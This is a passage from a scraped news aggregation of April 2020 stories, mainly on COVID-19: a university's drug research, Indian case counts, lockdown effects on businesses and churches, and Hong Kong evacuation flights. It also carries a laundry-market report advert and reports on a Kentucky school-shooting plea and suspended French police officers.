stage of development along with human trials." Announcing this development, Dr Rupamanjari Ghosh, Vice-Chancellor, Shiv Nadar University, said, "COVID-19 has caused catastrophic effects globally - affecting lives and livelihoods. At the Shiv Nadar University, it is our constant endeavour to work towards addressing issues of local and global importance by investing in relevant research. This particular research holds out the promise for a drug that can combat COVID-19, SARS and MERS - this is highly commendable! In this hour of a global crisis, our global team of researchers with unique core competencies has come together in solidarity -- my heartiest congratulations to the group led by Prof. Sen." Professor Ralf Jockers, molecular biologist from Institut Cochin (INSERM, CNRS, Universite de Paris, France), said, "I am excited about the project that we are currently running together with Prof. Sen on novel treatments for Covid-19 and I am hopeful that we can make a significant contribution to solve the challenges of this pandemic." The researchers have filed a provisional patent in India to protect the new chemical entities. The novel molecule in discovery is being moved to the next stage of checking where its efficacy will be tested on animals. How does the treatment work? The discovery has come out of months of research conceptualizing small molecule modulators of a set of hormonal receptors in humans and how they are connected with potential receptors in the lungs that act as entry of SARS-CoV-2, SARS and MERS in the human host. Additionally, the researchers looked into the pathophysiological condition of lungs during respiratory failure. This included extensive investigations of lung specimens from patients who were retrospectively found to have COVID-19. Using these data, the researchers designed the project that helps in attenuating acute respiratory distress. Notes to the Editor: About Shiv Nadar University, National Capital Region (NCR) Shiv Nadar University (www.snu.edu.in), a Shiv Nadar Foundation initiative, is a student-centric, multidisciplinary and research-focused University offering a wide range of academic programs at the undergraduate, postgraduate and doctoral level. Shiv Nadar University's multidisciplinary curriculum provides students a strong foundation in disciplines in the humanities and social sciences, natural sciences, technology and engineering studies, communications and management, while enabling them to gain mastery of a subject of their choosing. Taught by world-class faculty, undergraduate education at the University is designed to develop students with the breadth of vision, knowledge, skills and attitudes required to succeed in the careers of the 21st century. Located on a 265-acre campus in India's National Capital Region, Shiv Nadar University is a private philanthropic institution established in 2011 through an act of the State of Uttar Pradesh. Shiv Nadar University has recently been selected as one of the eight private "Institutions of Eminence" by the Government. The University was also awarded the prestigious Atal Incubation Center grant by the NITI Aayog, Government of India, in the very first round in 2017. View source version on businesswire.com: https://www.businesswire.com/news/home/20200428005570/en/ [ Back To TMCnet.com's Homepage ] Questo comunicato e stato pubblicato piu di 1 anno fa. Le informazioni su questa pagina potrebbero non essere attendibili. Market Reports on India Provides the Trending Market Research Report on India Laundry Care Market By Value, By Segment, By Detergent Type, By Organized Detergent Vs Unorganised Detergent, By Fabric Care Type, By Company, By Brand, By Sales Channel, By Demographics Outlook 2025under Consumer Goods Category. The report offers a collection of superior market research, market analysis, competitive intelligence and Market reports. The report titled India Laundry Care Market By Value, By Segment ( Detergent & Fabric Care ), By Detergent Type ( Powder, Bar, Liquid ), By Organized Detergent ( Popular, Mid Range & Premium ) Vs Unorganised Detergent, By Fabric Care Type ( Whitener/ Blue, Conditioner/Softener ), By Company, By Brand ( Ghari, Surf, Wheel, Rin, Tide, Etc. ), By Sales Channel ( General Retail, Modern Retail, Online ), By Demographics ( Urban, Rural ), Outlook ( Trends & Forecast ), 2025 gives synoptic analysis of the Laundry care market of the Indian sub-continent. Globally, the laundry care is observed to be a chore but the Indians have a holistic approach about the laundry care. Laundry care has been observed with the efficiency of the home master or housewives. Hence, laundry care is among the most important of the household daily activities. Traditionally, the Indian used various substitutes for washing clothes. Solution made by soaking and boiling reetha along with salts was a proven method to clean dirty clothes. Moreover, the white clothes were blued with natural indigo plant powder to remove the yellow haze. But with the swaying time, indigenous companies developed the detergents and blue (traditionally called as neel) which proved to be the best for washing clothes. The overall laundry care market consists of Detergent and fabric care products. Detergents are widely available with infused scents such as rose, jasmine, sandalwood, etc. with their types such as powder detergents, detergent bar and liquid detergents. The detergent market is spread into organized and unorganized segments with demographics of rural and urban sales. The bar detergents are widely preferable in rural areas whereas the powder & liquid are targeted for urban markets. Ghari, brand name of Rohit surfactants has the highest detergent market share followed by other brands such as Surf Excel, Ariel, Rin, etc. Request a free sample copy of India Laundry Care Market Report http://www.marketreportsonindia.com/marketreports/sample/reports/2051695 The fabric care segment consists of fabric whiteners (blue/neel) and fabric conditioners/softeners. Due to increasing awareness about hygiene and safety of clothes, the fabric conditioner market is growing at a consistent stage. Moreover, advancements in products such as dryer sheets, woollen balls, multifunctional detergents have led the market flourish with new products. The whitener brand Ujala by Jyothy laboratories is leading the market with highest market share whereas in fabric conditioner division, the brand Ezee by Godrej accounts the highest market share. The Indian laundry care market is expected to reach upto INR 51278 crore by the year 2025. Laundry care products being a necessity, the demand for it will increase gradually. Moreover, the efforts of various brands to develop new and consistent products will attract the people to buy more. Recently, Hindustan Unilever Limited launched a new detergent brand love & care which will help to wash the sensitive fabric such as silk, chiffon, georgette. brocades etc. without harming them. This brand was launched after when HUL surveyed that a major proportion of Indians get their sensitive fabrics dry cleaned to their nearer laundry stores. Some conditioner brands such as Ezee has integrated their product which can be used for woollens as well as for normal clothes also. Furthermore, the Indian market being price sensitive, the brands are trying to make products price efficient in order to attract maximum consumers. Being a competitive landscape, the laundry care brands are building communal relations targeting the regions. They promote their products by building faith on trials. The famous payoff line of Ghari detergent, pehle istamaal karein fir vihwas karein ,Nirma detergent sabki pasand Nirma, detergent brand Tide kyun? chaunk gaye? detergent brand Surf Excels Daag ache hain and fabric conditioner brand Ezee kapde rakhe naye ke naye are the famous ones. The fabric whitener brand Ujalas tagline chaar boondon wala ujala shows that the product is consistent enough on minimum consumption. All these efforts have helped the brands to build faith among the consumers. The key players of the Indian laundry care market are Hindustan Unilever Limited, Rohit surfactants, Nirma, Procter & Gamble, Jyothy Laboratories, Reckitt Benckiser and several domestic and international companies. Covered in the report: Global Laundry care market India Laundry care market India Detergent market India fabric care market Market trends & developments Key facts about the leading market players How it will help solving your strategic decision making process? The report provides an in-depth knowledge of the India Laundry Care market scenario: Global laundry care market scenario (Historical & forecast) India laundry care market scenario (Historical & forecast) India laundry care market size (Historical & forecast) India laundry care market share ( by company, brand, category, demographics, sales channel) India detergent market scenario (Historical & forecast) India detergent market size (Historical & forecast- powder, bar & liquid detergent) India detergent market share (by region, product type, demographics & sales channel ) India organised detergent market scenario (Historical & forecast) India organised detergent market size (Historical & forecast- popular, mid range & premium) India organized detergent market share (company ,brand, sub category) India unorganised detergent market India fabric care market scenario (Historical & forecast) India fabric care market size (Historical & forecast) India fabric care market share (by company, segment, brand, demographics & sales channel) India fabric whitener/blue market scenario(Historical & forecast) India fabric whitener/blue market size (Historical & forecast) India fabric whitener/blue market share ( by brand, demographic area, sales channel) India fabric conditioner/softener market scenario (Historical & forecast) India fabric conditioner/softener market size (Historical & forecast) India fabric conditioner/softener market share (by brand, demographic area, sales channel) Product price variant analysis Recent developments & innovations Description of Raw materials & manufacturing processes Strategic recommendations company profiles of leading companies This report can be useful to Industry consultants, manufacturers and other stakeholders to align their market-centric strategies. In addition to marketing & presentations, it will also increase competitive knowledge about the industry. Report Methodology: The information contained in this report is based upon both primary and secondary research. Primary research included interviews with various channel partners of Laundry care market. Secondary research included an exhaustive search of relevant publications like company annual reports, financial reports and proprietary databases. Please get in touch with our sales team in order to find out more. Browse our full report with Table of Content : http://www.marketreportsonindia.com/marketreports/india-laundry-care-market-by-value-by-segment-by-detergent-type-by-organized-detergent-vs-unorganised-detergent-by-f/2051695 About Market Reports on India: Market Reports on India is an excellent source to obtain top quality market research reports that helps you to understand the business in the Indian market. We cover various industries, identifying and understanding key macro and micro-economic trends, insights and futuristic growth opportunities. To help achieve all this and more, Market Reports on India is the answer to all your business needs. Contact us at: Market Reports on India Tel: +91 22 27810772 / 27810773 Email: info@marketreportsonindia.com Website: www.marketreportsonindia.com Follow us on: Twitter, Facebook, LinkedIn LOUISVILLE, Ky. - A teen charged in the 2018 Kentucky school shooting that killed two students has pleaded guilty to murder. Gabriel Ross Parker was 15 when he fired a handgun into a crowd of students before classes started at Marshall County High School on Jan. 23, 2018. Parker was arrested at the school and charged with murder. He later was charged as an adult. Marshall County Commonwealths Attorney Dennis Foust said the plea deal gives Parker a life sentence. Along with the murder convictions, he also pleaded guilty to 14 counts of assault. Parker, now 18, appeared by teleconference on Tuesday before Marshall Circuit Judge James Jameson. Foust said the coronavirus pandemic played a role in moving toward a plea agreement for Parker. The trial was scheduled to open June 1. Foust, the lead prosecutor in the case, said the trial would likely have been pushed back to January at the earliest, and because of restrictions, he was having trouble lining up witnesses and medical experts. So at that point at some people are saying maybe its time to get some closure, Foust said by phone Tuesday. Killed in the shootings were Bailey Holt and Preston Cope, both 15. Foust spoke with Holt and Copes parents about the plea deal before moving forward. It just made more sense to do this, Foust said. Parker would be eligible for parole in 2038, he said. WPSD-TV in Paducah first reported the plea agreement on Tuesday. Parker will be sentenced by a judge on June 12. In a statement received by the news station on Tuesday, Parkers mother, Mary Minyard, said she has struggled over the two years to express how deeply sorry I am for everything that has happened. To the Holt and Cope families, I know there will never be words that I can say to make up for the precious lives youve lost, but I hope you know how deeply I feel that loss and how truly sorry I am, Minyard wrote. Parker told police investigators that he took the handgun used in the shooting from his stepfathers bedroom closet, using a laundry basket to sneak it out of the room. Parker told police he had the gun in his bag when he went to school, pulled it out and began firing into a commons area. He said in the hysteria after the shooting some students, not knowing he had fired the gun, urged him to join them in a safe room with other students. One of the students huddled in that room, Keaton Conner, said in 2018 that she was talking to her mother on the phone when she saw Parker who she didnt know with a cold expression on his face. Police later came into the room and arrested Parker, Conner said. He was the person who had just killed two of my classmates, she said. Cookie Preferences Cookie List Cookie List A cookie is a small piece of data (text file) that a website when visited by a user asks your browser to store on your device in order to remember information about you, such as your language preference or login information. Those cookies are set by us and called first-party cookies. We also use third-party cookies which are cookies from a domain different than the domain of the website you are visiting for our advertising and marketing efforts. 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Developer and landlord Growthpoint Properties has delayed some projects and will offer rent relief for its smaller tenants as it works through the longer-term impact of the coronavirus. In its quarterly update, which is the first cab off the rank for the real estate investment trusts, it says the balance sheet is robust but there are tenants that have been significantly impacted by the COVID-19 pandemic. Growthpoint is the owner and developer of a number of major office, industrial and retail assets across the country, including the $450 million, 1 Charles Street, Parramatta, Sydney, and the $218 million, 75 Dorcas Street, South Melbourne, office towers, with tenants including large companies and government bodies. Growthpoint's 20,000 square metre office at Botanicca Corporate Park, Melbourne. It has complied with the directions from the national cabinet to offer rental reductions and deferments, where applicable. Growthpoint joined its REIT peers in late March withdrawing its full-year guidance. Just as cooped-up Queenslanders are ready to emerge from weeks of social distancing, temperatures are expected to plummet below zero in parts of the state. A cold snap is forecast to strike the Sunshine State from Friday after a trough drifts across the coast, allowing cool air to take its place. It's going to be a chilly start to winter, so dig out the winter clothes. (File photo) Credit:Fairfax Media - Bradley Kanaris Bureau of Meteorology forecaster Peter Markworth said just about every resident would need to dust off their winter woolies on Saturday, with minimums dropping to single digits for most of southern Queensland. "Even Townsville will see minimums in the low teens as well," he said. The Plaza Theatre in Atlanta has been around since 1939. Christopher Escobar, its current owner, has been operating it for about a decade. When the coronavirus ravaged small businesses, Escobar made the tough decision to close his theater for now, seek online sources of revenue, and apply for aid from foundations and the government. The Plaza has now been shut down for more than a month, but Georgia Gov. Brian Kemp recently passed an order allowing small businesses to open back up. And Escobar is struggling with what he should do next. Advertisement On Thursdays episode of What Next, I spoke with Escobar about the big decisions hes had to make, the dilemma hes tussling with now, and what opening the state back up again really means in Georgia. Our conversation has been edited and condensed for clarity. Advertisement Advertisement Advertisement Mary Harris: When you heard about Kemps reopening order, you were conflicted. On the one hand, youre thinking about the safety of customers and employees, but on the other, youre bleeding money. Christopher Escobar: I do believe Kemps trying to do what is, in his mind, the best thing for Georgia, even though I think hes going about the wrong way. Hes hearing from tens of thousands, hundreds of thousands of people in the state who are unemployed right now. Keep in mind, during the Great Recession, Georgia had some of the highest unemployment and foreclosure rates in the whole country. Weve had pain. Recent pain. Advertisement Advertisement Kemps hearing from people who are saying, I was told by the federal government that, if I lose my job because Im an independent contractor or a freelancer, Id be taken care of. Thats not been the case, and theyre rightly furious. And small-business owners whove been told, Youve got to shut down and do the right thing, but dont worry, well figure it out, well make it work, well keep you alivethey feel lied to because maybe 1 in 10 has actually gotten federal support. Advertisement As this all started going down, I was not willing to do what all the other movie theaters did, which is cut staff, put them on unpaid leave, and wish them good luck. So I told my staff, before they went on unemployment, that I wanted them to start drawing from the paid time off. And for some of them, even though they didnt come into work for three weeks, their paychecks didnt change. Advertisement Hearing you talk, its really clear you value your staff and want to do right by them. When did you start thinking you would have to cut peoples hours? Advertisement Advertisement I started giving these updates to everybody and telling them, look, heres what I know, heres what I dont know, heres what Im working on. If we start doing A-B-C-D to save money, to start to generate money in other ways, our time can be extended. Im working on all these efforts that might bring in funding. And I kept giving updates every week on our financial situation. We also got a major donation, which helped. Did you have a moment where you made a list? Like, here is everything you could pay? Advertisement Advertisement Advertisement Advertisement Im always updating the lists. Like, whats due when? When do I normally pay this? What can I do to start bringing in revenue? One of the things we did was start selling Plaza passes and vouchers so you could go ahead and buy a ticket to a future screening of your choosing. People started buying those and we probably sold $2,000 worth of tickets at $13 apiece. That was awesome. So what do you pay, and what do you not pay right now? So for one, I look at my local vendors, like the guy who supplies the bulbs for a projector or the electrician who occasionally has to deal with the mess of an 80-year-old buildings electricity. Im looking at them the same as my employees. These are local people, local business owners. Im not going to make them wait for their money. That being said, when theres a megacorporation that I always pay early anyway, it can wait for its money. Its going to get its money one way or another. But Im going to prioritize paying my people who may not eat if they dont get this paycheck. Advertisement Advertisement Unlike the chains that told their property owners theyre not going to pay rent, well, I cant do that. I dont have the ability to tell people that were not paying you until TBD. I have no leverage. "Small-business owners are rightly furious." Christopher Escobar Because you have a mortgage? I have a very expensive, constantly skyrocketing lease that is already double what it was two years ago. How many grants or relief packages do you estimate youve applied for? Ive lost count, but at least 10. I was curious if you had applied for the small-business stimulus funding. Yes. Ive heard nothing. Even though youre allowed to use a portion of it toward things like rent and utilities, the amount you get is not based on that at all. So if you have skyrocketing rent like I do, I cant use it for that. By design, its a Band-Aid. Its not going to be like, OK, well, I was able to make up at least a sizable amount of the money I would have made to cover all my lighting. No, not even close. Its just such a mess. Advertisement Youre not open now. When do you plan to open? Advertisement Advertisement The weird thing is weve been closed for 40 days, but I havent worked this hard ever. Im working seven days a week. With any luck, should all things go well, were going to start a Plaza pop-up drive-in right here in the back of the theater. We have a 20-foot-wide screen. Were figuring out all the angles of the projection, all the logistics. How do I make it so no one ever has to come in contact with anyone whom theyre not sheltering in place with? What are the sightlines? Were encouraging people to bring food, ideally from a neighboring restaurant. Were going to be providing links of those places nearby that are doing carry-out and need the business. Were going to offer our concessions, but you have to order it online and youll enter your card number and well bring it out to your car. Well encourage people to use the bathrooms before they come in. Advertisement Advertisement Advertisement I hope people are going to contribute. Im hoping that any one of these applications or some or a number of them is going to come through. For me to panic and give up or get overwhelmed isnt going to do anybody any good. Theres too much on the line, between the people whose livelihoods are depending on this place and what the theater means to the community culturally. Theres too much on the line in terms of all the people who have either owned this place or have contributed their blood, sweat, and tears to keeping this place open. Tell us what you are seeing out there in quarantine. Whats keeping you calm? What do you still have questions about? Let us know: Were at 202-888-2588. Your voicemail could become part of the show. Listen to the full episode using the player below, or subscribe to What Next on Apple Podcasts, Overcast, Spotify, Stitcher, or wherever you get your podcasts. Todays Headlines The most important news stories of the day, curated by Post editors and delivered every morning. Email address By signing up you agree to our Terms of Use and Privacy Policy According to the Indian Health Ministry, there are 29,435 cases in the country so far. Of these, 6,869 have recovered while 934 have unfortunately died. According to the Indian Health Ministry, there are 29,435 cases in the country so far. Of these, 6,869 have recovered while 934 have unfortunately died, leaving 21,632 active cases. Over 1,500 new cases were reported in the last 24 hours. Eighty districts have not reported any new coronavirus cases in the last seven days; 47 districts havent had any new cases in the last 14 days; 39 districts in 21 days and 17 districts in 28 days. Any district that reports zero new cases for 28 days is designated a green zone; however, this does not mean that public health officials stop monitoring these areas for new cases. Made in India Last week, the government had asked states to stop using the antibody tests imported from China after noticing a wide range in their success rate. Then a deal with a South Korean company for five lakh test kits came into effect; these are expected to arrive by April 30. Yesterday, the Indian Council of Medical Research, or ICMR, had shared that they would be returning the Chinese test kits to the supplier. Health Minister Dr Harsh Vardhan also shared today that Indian test kits will become available in May. Theyre currently waiting for ICMR approval and will help reach the target of 1 lakh daily tests by May 31. He also said that over one lakh PPE (personal protective equipment) kits were being produced in India daily. NITI Aayog Delhi sealed The building that houses India's apex planning body NITI Aayog has been sealed after a director-level officer was found to be COVID-19 positive. The case was reported at 9 am on April 28. The building will remain sealed for 48 hours during which thorough disinfection will be carried out. Those who came in contact with the patient have also been asked to self-quarantine. Maharashtra death rate 4.3% The number of cases in Maharastra continues to climb and has reached 8,590. It has the highest burden of the disease in the country, followed by Gujarat and New Delhi, with over 3,000 cases each. The state government shared that 522 new cases and 27 deaths had been reported in the previous 24 hours. This takes the state death toll to 369. The health department shared that the mortality rate is 4.3% right now, which is higher than the World Health Organizations estimate of 3.4% and national one of 3.1%. Ahmedabad, the city with most of Gujarats cases, has an even higher death rate, at 4.7%. Doubling rate improves As per the Health Minister, the country as a whole has a doubling rate of 10.9 days, if calculated by the last three days. The doubling rate refers to how long it takes for the number of cases to double. By contrast, the doubling rate before the lockdown was three days. Satyendar Jain, Health Minister of New Delhi, said that the doubling rate in the capital was 13 days, while West Bengal Chief Secretary Rajiva Sinha said that the states doubling rate was nine days. Kashmir readies for return of migrants, students Kashmir, not new to lockdowns, may be facing stricter enforcement of the restrictions after the number of cases in Jammu and Kashmir jumped to 546. The total number of deaths there is at seven, while 164 have recovered. A 100-bed COVID-19 Care Centre was set up in Bhaderwah, a town in Kashmir, in preparation for the 6,300 migrant workers and students expected to return in the following days. The idea is to provide some relief to the hospitals that are stretched thin as it is. For more information, read our article on RT-PCR Test. Health articles in Firstpost are written by myUpchar.com, Indias first and biggest resource for verified medical information. At myUpchar, researchers and journalists work with doctors to bring you information on all things health. A chartered flight is likely to bring as many as 300 Hong Kong residents stranded by the Covid-19 pandemic back from Pakistan on Thursday, according to a source familiar with the arrangement. The source told the Post that 200 to 300 Hongkongers were hoped to be aboard a flight operated by Pakistan International Airlines. The chartered flight will take off from the capital Islamabad, according to the source, who said the cost of the journey will be borne by the passengers. The Hong Kong government initially planned to arrange the flight for Wednesday, but Thursday was settled on as the target date after discussions with parties including the Pakistani authorities and the Chinese embassy in Pakistan, the source said. While plans are now under way to retrieve Hongkongers from Pakistan, it is not yet known when that will also be the case for city residents in India. Photo: Xinhua As with arrangements that recently brought back Hong Kong residents from Peru and Morocco, the Chinese embassy would be involved in helping coordinate the rescue operation. Earlier this month, 65 Hong Kong residents returned on a government-chartered flight from Peru while 27 Hongkongers were rescued from Morocco on a flight organised by the mainland government. It is not yet known whether those returning will be required to go to quarantine centres or allowed to self-quarantine at home after deep-throat saliva tests taken near the airport return negative. In a radio show on Monday, Dr Ho Pak-leung, a top microbiologist from the University of Hong Kong, argued in favour of placing returnees from overseas in government quarantine facilities. For those returning via chartered flights, it would be dangerous to allow them to return home for quarantine after just one testing, he said. The government on Saturday revealed it was mapping out plans to retrieve Hong Kong residents stranded in Pakistan and India in a phased approach using chartered flights. The two South Asian countries have banned all international flights since late March due to the coronavirus. As of last Friday, the citys Immigration Department had contacted about 2,000 residents stranded in Pakistan and another 3,200 in India. Story continues Regarding the plans to evacuate the more than 5,000 residents, the source said the Hong Kong government was discussing the details with relevant airlines, the Office of the Commissioner of the Chinese Foreign Ministry in Hong Kong, the Chinese embassies in India and Pakistan, and the consulate general offices of India and Pakistan in Hong Kong. It is not yet known when the first chartered flight will pick up Hong Kong residents in India. According to the governments announcement on Saturday, the initial plan of evacuation was to first target those in New Delhi, the Indian capital, or in Islamabad, the capital of Pakistan. People with special needs including the sick, pregnant women, children and the elderly, would be given priority, and the cost of taking the chartered flights would be borne by the users. Pakistan currently does not limit domestic transportation within the country, but all international flights have been banned. In India, meanwhile, strict intra-country restrictions on land and air traffic have been imposed, and all travel must be approved by relevant authorities. This article Coronavirus: government targets Thursday to begin flying Hong Kong residents back from Pakistan, source says first appeared on South China Morning Post For the latest news from the South China Morning Post download our mobile app. Copyright 2020. PARIS (Reuters) - Two police officers in France have been suspended after being heard racially insulting a man after arresting him in a deprived Paris suburb in a video that went viral on social media, the police commissioner said on Twitter Monday. 'With the approval of the Interior minister, the chief of police Didier Lallemant has asked the head of the national police to suspend the two officers involved in uttering racial comments heard on a video circulated on social media on April 26', the police prefecture said on Twitter. PARIS (Reuters) - Two police officers in France have been suspended after being heard racially insulting a man after arresting him in a deprived Paris suburb in a video that went viral on social media, the police commissioner said on Twitter Monday. "With the approval of the Interior minister, the chief of police Didier Lallemant has asked the head of the national police to suspend the two officers involved in uttering racial comments heard on a video circulated on social media on April 26", the police prefecture said on Twitter. The incident involving the two officers took place in the area where unrest broke out last week. Interior Minister Christophe Castaner said earlier in the day there was no place for racism in the police after the video went viral, which appeared to show officers mocking a man who had jumped into the River Seine in an attempt to escape arrest. "He doesn't know how to swim. A 'bicot' like that can't swim," one officer can be heard remarking, using a derogatory term for an Arab or North African. As they escort the man to a police van, a colleague replies laughing: "You should have tied a weight to his foot." The incident took place in the early hours of Sunday in Villeneuve-la-Garenne, where last week's clashes between police and restless youths first erupted. Seine-Saint-Denis, the wider district, is the poorest in France. France's banlieues - high-rise neighbourhoods that ring its cities and are heavily populated by families of immigrant descent - have for decades been flashpoints of anger of social and economic marginalisation and police violence. Police unions says the rundown estates are a tinderbox as tight restrictions on public movement to curb the spread of the coronavirus exacerbate deep-rooted tensions and anger towards the police enforcing the lockdown. The footage of the racial slurs has stirred public outrage. Castaner described the indignation as legitimate. "All light will be shed on the matter," Castaner said on Twitter, announcing that the IGPN internal police watchdog had been alerted. "Racism has no place in the Republican police force." Eric Coquerel, a lawmaker from the hard-left La France Insoumise (France Unbowed) party who represents Seine-Saint-Denis, expressed horror at the incident. "To hear in this day and age such words, such behaviour, from police is shameful and a huge concern," Coquerel said on social media. (Reporting by Sudip Kar-Gupta, Richard Lough and Benoit Van Overstraeten; Editing by John Irish and Angus MacSwan) This story has not been edited by Firstpost staff and is generated by auto-feed. Tens of millions of dollars in relief funding for international students left in dire financial straits by Victorias coronavirus lockdown will be announced by the state government on Wednesday. International students have been seen lining up in their hundreds at food banks across Melbourne this month after many lost casual work at retail and hospitality businesses hit hard by the lockdown. The queue for emergency food relief at a Southbank charity in Melbourne. The coronavirus outbreak has highlighted the nation's dependence on foreign students and casual workers. Credit:Penny Stephens Government relief in the form of JobSeeker and JobKeeper payments have not been extended to international students. The Andrews government would not provide firm figures on the size of the support package for students, but Minister for Trade Martin Pakula said: International students are valued members of the Victorian community and we will have more to say on dedicated support for this important sector shortly. VATICAN CITY (RNS) After nearly 50 days of a nation-wide lockdown to prevent the spread of COVID-19, the Italian government is beginning to outline Phase Two, which will allow the opening of some businesses and freedom of movement for currently home-bound citizens but which will not allow Masses. The leading coalition in Italy has decided that starting May 4, citizens will be able to leave the house freely without documentation and hold small weddings and funerals. Restaurants and other shops will open at half-capacity in mid-May; nothing has yet been said about gyms, cinemas and parks. But what emerged from the consultation between governments and private entities is that religious gatherings and Masses will remain forbidden, at least for the time being. The Italian prime minister, Giuseppe Conte, told reporters in a press conference on Sunday (April 26) that this was the result of rigidity within the scientific and technical committee charged with preventing the spread of the pandemic. The news came as a blow for Italian Catholic bishops, who had consulted with the government for weeks to ensure that their religious freedom be respected as soon as the virus was under control. The Church has accepted, with sorrow and a sense of duty, the limitations imposed by the government to address the health emergency, read a note by the Italian Episcopal Conference (Cei) on Sunday, but the agreement did not come without some pushback. The Italian bishops cannot accept to see religious freedom is compromised, they added, reminding the Italian government and its ministers of the essential work done by clergy and the Catholic Church to help and support the poor in the country. The bishops told the government and health committee to distinguish their responsibility for ensuring public safety from that of the Church, which is called to organize the life of the Christian community, in respect of public measures, but with the fullness of its autonomy. The prime minister acknowledged the bishops request by stating that in the following days a protocol will be established to allow the participation of faithful in liturgical celebration as soon as possible and with the maximum security. Bishops in Italy have, for the most part, respected government-imposed regulations limiting church attendance. Pope Francis and the Vatican Congregation for the Doctrine of the Faith encouraged faithful to look for alternatives for living out their faith, from prayer to confession. The head of Cei, Cardinal Gualtiero Bassetti, asked in his Sunday homily that priests be able to return to administering the sacraments soon. Lord we need you! We need your action and your words: We hope to soon return to celebrating the Eucharist! We ask from the heart, he said. Some prelates have criticized the government's decision to ban Masses, stating that museums and restaurants which are scheduled to reopen on May 18 are just as dangerous as Masses. The bishop of the Tuscan city of Livorno, Simone Giusti, called the Italian government's decision a theatre of the absurd while speaking to local news outlets on Monday (April 27). Given the large number and size of churches in Italy, Giusti challenged the governments incomprehensible and pernicious limitations of personal and collective freedoms: The Christian is a citizen of the Republic like anybody else, with the same duties but also the same rights. The bishop also accused the health committee of religious ignorance regarding the role of the Catholic Church and its 26,000 parishes. Other bishops have called for a more patient approach. The vice president of Cei, Bishop Mario Meini of Fiesole, said that while the Church will likely relaunch in the near future, it will take some time before things get back to normal. We will be forced to make further sacrifices: sacrifices in liturgy, in evangelization and in the witness of charity, Meini told the Ceis daily newspaper Avvenire. Phase Two will be long, he said, expressing his hope that soon we will return to celebrating Mass in the presence of our people. Although its clear that we wont be allowed to have crowded churches. We will have to respect with prudence, firmness, wisdom and attention the imposed safety norms and regulations. READ THIS STORY AT RELIGIONNEWS.COM. Article originally published by Religion News Service. Used with permission. Photo courtesy: RNS/AP Photo/Luigi Navarra What happened Shares of Nordic American Tankers (NYSE:NAT), which owns a fleet of large oil-carrying ships (referred to as Suezmax tankers in the industry), shot higher by nearly 25% in early trading on April 28. That added to recent gains, but the massive daily increase proved temporary, as the price started to fall back by 10 a.m. That gain was "only" around 5% or so by the middle of the trading day. Although oil prices are in the doldrums, these are the salad days for Nordic American Tankers. So what Oil is currently facing a dramatic supply/demand imbalance. The origins of the mismatch go back a decade or so, to the days when U.S. onshore oil drilling started picking up. More oil from the U.S. upended the normal operation of the energy sector around the world. OPEC attempted to curtail supply to offset the increases, but U.S. oil simply picked up the slack OPEC created. So supply was high coming into 2020. Then, earlier this year, OPEC and Russia ended up disagreeing over further supply cuts. The result was a price war that led to an increase in production. Supply, already an issue, rose even more, and energy prices fell. OPEC, Russia, and the United States have since gotten together to work toward supply reductions, but it was too late. That's because the global effort to slow the spread of COVID-19 has basically led economies around the world to shut down. That, in turn, resulted in a dramatic decline in demand...at a time when the supply of oil is elevated. Oil prices have fallen to lows that have already led to bankruptcies in the oil space. However, all of the extra oil being pumped has to be put somewhere. The first place is normally land-based storage. But when that fills up, the ships that transport oil around the world get turned into giant floating storage tanks. That's exactly what's happening right now, and it pushes the prices for leasing these ships dramatically higher. It is a good time to own Suezmax ships, like the 20 or so in Nordic American Tankers' fleet. At this point, investors are expecting both huge profits and huge dividends from Nordic American Tankers, and they are bidding the shares sharply higher. Although the early gains today were dramatic before the stock started to pull back, its shares are still up nearly 80% over the past month or so. Now what It remains to be seen just how long the current supply/demand imbalance in the oil sector will last. It could be a long time. However, while global oil storage remains tight, Nordic American Tankers will likely continue to be called on to turn its Suezmax ships into floating storage tanks. And the profits will roll in. That said, this situation can change just as quickly as it arose, so investors need to be very careful here. The high rates that Nordic American Tankers can charge won't last forever, and when they start falling, so too will investor enthusiasm for the stock. This is not a "set it and forget it" type of investment. Oby Ezekwesili a former Minister in Nigeria two time tho, is a year older today and those who know her, shared a childhood photo of her to celebrate a great achiever as she turns 57 today. Oby was born on the 28th of April 1963. Follow Us on Facebook @LadunLiadi; Instagram @LadunLiadi; Twitter @LadunLiadi; Youtube @LadunLiadiTV for updates An interesting insight is being experienced by the corporate world with the ongoing Coronavirus pandemic. Since the imposed lockdowns have rendered workforces unable to commute to workplaces, work-from-home is increasingly becoming a trend. As companies work with this model, they're taking stock of functions and staff that really require an attendance in office and others who can work remotely. Indiatimes Indias biggest IT firm also reflected on this. Post thorough analysis, Tata Consultancy Services (TCS) has decided that it will follow on the work-from-home trend even post lockdown era and by 2025, will only require 25% of employees to attend office. The announcement was made by firms CEO Rajesh Gopinathan during the fourth-quarter earnings call. He said "it's about time. Our current operating model is currently a 20-year-old legacy. In some ways, this crisis actually leapfrogs us into a new model. The decision came as the company realised that attendance of its employees at work places was not required at full capacity at any given day. "We dont believe that we need more than 25% of our workforce, at our facilities, in order to be 100% productive," Gopinathan said, according to a Business Insider report. Rajesh Gopinathan - Chief Executive Officer and Managing Director of Tata Consultancy Services (TCS) (Image: Reuters) Long-thought out move The move comes as a part of TCS pursuit for a secure borderless workspaces (SBWS) model which is aimed at increasing the company's throughput by 25%, as per N Ganapathy Subramaniam - chief operating officer at TCS. The model also reveals that the company did not come upon the concept of work-from-home for its employees recently. It was a work in progress for the last few years. Gopinathan confirms this, saying "For the last few years, we have actually been pushing the concept to its next evolutionary path by what we call the open agile workspace concept. What helped though, was the sudden jerk to bring the plan to action with the Coronavirus induced lockdowns. The model was spread to all of TCSs operations. The reassurance TCS soon found out that the model worked well for the company. As per a statement by the company, the "proven business continuity processes got enhanced and securely, from 100% work from approved facilities to 90% operating remotely and securely connecting to our clients and TCS systems and networks.," said the company in a statement. A thing to note here is that the work-from-home culture does not just require moving the person out from the office and allowing a laptop or a desktop located in the house to connect, as per Gopinathan. There are several necessities to the process, like establishing secure connections between the workforce and the clients as well as ensuring optimum service quality. (Representative Image: Reuters) TCS believes that it managed to stay ahead of the curve since it had been working on the model since long. And that is exactly what makes the company continue to work on this model. "We're not going to go back to where we were. The reason we have been able to get on top of it is that we had invested in building those processes and systems, Gopinathan said. Good savings model It is easy to see how such a model is a win-win for the firm as well as the employees. While TCS will stand to benefit from a reduction in the office space and other such expenses on each employee, employees will save money on the reduced commute cost to and from work. The overall savings might not be directly proportional to the number of employees working from home at any given time but it will be a substantial saving nonetheless, considering TCS' 4.48 lakh employees globally. Installation view of Billy Childish's exhibition "wolves, sunsets and the self" at Lehmann Maupin Seoul / Courtesy the artist and Lehmann Maupin By Kwon Mee-yoo 